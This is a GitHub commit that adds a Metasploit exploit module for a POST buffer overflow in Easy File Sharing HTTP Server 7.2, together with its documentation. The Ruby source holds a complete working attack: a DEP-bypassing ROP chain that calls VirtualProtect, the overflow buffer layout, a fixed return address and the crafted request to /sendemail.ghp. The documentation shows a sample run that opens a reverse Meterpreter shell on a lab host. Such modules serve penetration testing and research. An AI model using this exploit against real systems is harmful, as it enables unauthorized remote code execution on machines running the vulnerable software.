Skip to content

Commit 02e4edc

Browse files
committed
Land rapid7#8579, Easy File Sharing HTTP Server 7.2 - Post Overflow exploit
2 parents 35c0f0e + c7a55ef commit 02e4edc

File tree

2 files changed

+212
-0
lines changed

2 files changed

+212
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Description
2+
3+
This module exploits a vulnerability in the Easy File Sharing Web Server application, by exploiting an overflow in the Email Post parameter, through DEP bypass via ROP chain.
4+
5+
This module allows a remote attacker to get a payload executed under the context of the user running the Easy File Sharing application
6+
7+
## Vulnerable Application
8+
9+
[Easy File Sharing](http://www.sharing-file.com/) is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE, Firefox, Chrome etc.).
10+
11+
This module has been tested successfully on
12+
13+
* Easy File Sharing 7.2 on Windows XP En Sp3
14+
15+
Installers:
16+
17+
[Easy File Sharing Installers](http://www.sharing-file.com/efssetup.exe)
18+
19+
## Verification Steps
20+
21+
1. Start `msfconsole`
22+
2. Do: `use exploits/windows/http/easyfilesharing_post`
23+
3. Do: `set rhosts [IP]`
24+
4. Do: `exploit`
25+
5. You should get your payload executed
26+
27+
## Scenarios
28+
29+
```
30+
root@kali:~$ msfconsole -q
31+
msf > use exploit/windows/http/easyfilesharing_post
32+
msf exploit(easyfilesharing_post) > set RHOST 192.168.56.101
33+
RHOST => 192.168.56.101
34+
msf exploit(easyfilesharing_post) > exploit
35+
36+
[*] Started reverse TCP handler on 192.168.56.1:4444
37+
[*] Sending stage (957487 bytes) to 192.168.56.101
38+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1253) at 2017-06-17 22:45:34 +0200
39+
40+
meterpreter > sysinfo
41+
Computer : MM
42+
OS : Windows XP (Build 2600, Service Pack 3).
43+
Architecture : x86
44+
System Language : en_US
45+
Domain : WORKGROUP
46+
Logged On Users : 2
47+
Meterpreter : x86/windows
48+
meterpreter > exit
49+
[*] Shutting down Meterpreter...
50+
51+
[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit
52+
msf exploit(easyfilesharing_post) >
53+
```
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = NormalRanking
9+
10+
include Msf::Exploit::Remote::Tcp
11+
#include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
18+
},
19+
'Author' =>
20+
[
21+
'bl4ck h4ck3r', #POC
22+
'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
[ 'EDB', '42186' ],
28+
],
29+
'Privileged' => true,
30+
'Payload' =>
31+
{
32+
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
33+
},
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
38+
],
39+
'DefaultOptions' => {
40+
'RPORT' => 80,
41+
'EXITFUNC' => 'thread',
42+
'ENCODER' => 'x86/alpha_mixed'
43+
},
44+
'DisclosureDate' => 'Jun 12 2017',
45+
'DefaultTarget' => 0))
46+
end
47+
48+
def create_rop_chain
49+
# rop chain generated with mona.py - www.corelan.be
50+
rop_gadgets = [
51+
# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx
52+
0x10015442, # POP EAX # RETN [ImageLoad.dll]
53+
0xFFFFFDFE, # -202
54+
0x100231d1, # NEG EAX # RETN [ImageLoad.dll]
55+
0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ}
56+
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
57+
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
58+
0x10015442, # POP EAX # RETN [ImageLoad.dll]
59+
0x1004de84, # &Writable location [ImageLoad.dll]
60+
0x10015442, # POP EAX # RETN [ImageLoad.dll]
61+
0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll]
62+
0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
63+
0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll]
64+
0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll]
65+
0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
66+
0x100218f9, # POP EBP # RETN [ImageLoad.dll]
67+
0x61c24169, # & push esp # ret [sqlite3.dll]
68+
0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]
69+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
70+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
71+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
72+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
73+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
74+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
75+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
76+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
77+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
78+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
79+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
80+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
81+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
82+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
83+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
84+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
85+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
86+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
87+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
88+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
89+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
90+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
91+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
92+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
93+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
94+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
95+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
96+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
97+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
98+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
99+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
100+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
101+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
102+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
103+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
104+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
105+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
106+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
107+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
108+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
109+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
110+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
111+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
112+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
113+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
114+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
115+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
116+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
117+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
118+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
119+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
120+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
121+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
122+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
123+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
124+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
125+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
126+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
127+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
128+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
129+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
130+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
131+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
132+
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
133+
0x1001bd98, # POP ECX # RETN [ImageLoad.dll]
134+
0x1004de84, # &Writable location [ImageLoad.dll]
135+
0x61c373a4, # POP EDI # RETN [sqlite3.dll]
136+
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
137+
0x10015442, # POP EAX # RETN [ImageLoad.dll]
138+
0x90909090, # nop
139+
0x100240c2, # PUSHAD # RETN [ImageLoad.dll]
140+
].flatten.pack('V*')
141+
return rop_gadgets
142+
end
143+
144+
def exploit
145+
sploit = rand_text_alpha_upper(2278)
146+
rop_chain = create_rop_chain
147+
sploit << rop_chain
148+
sploit << "\x90" * 200
149+
sploit << payload.encoded
150+
sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
151+
sploit << [target.ret].pack('V')
152+
153+
request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
154+
connect
155+
sock.put(request)
156+
handler
157+
disconnect
158+
end
159+
end

0 commit comments

Comments
 (0)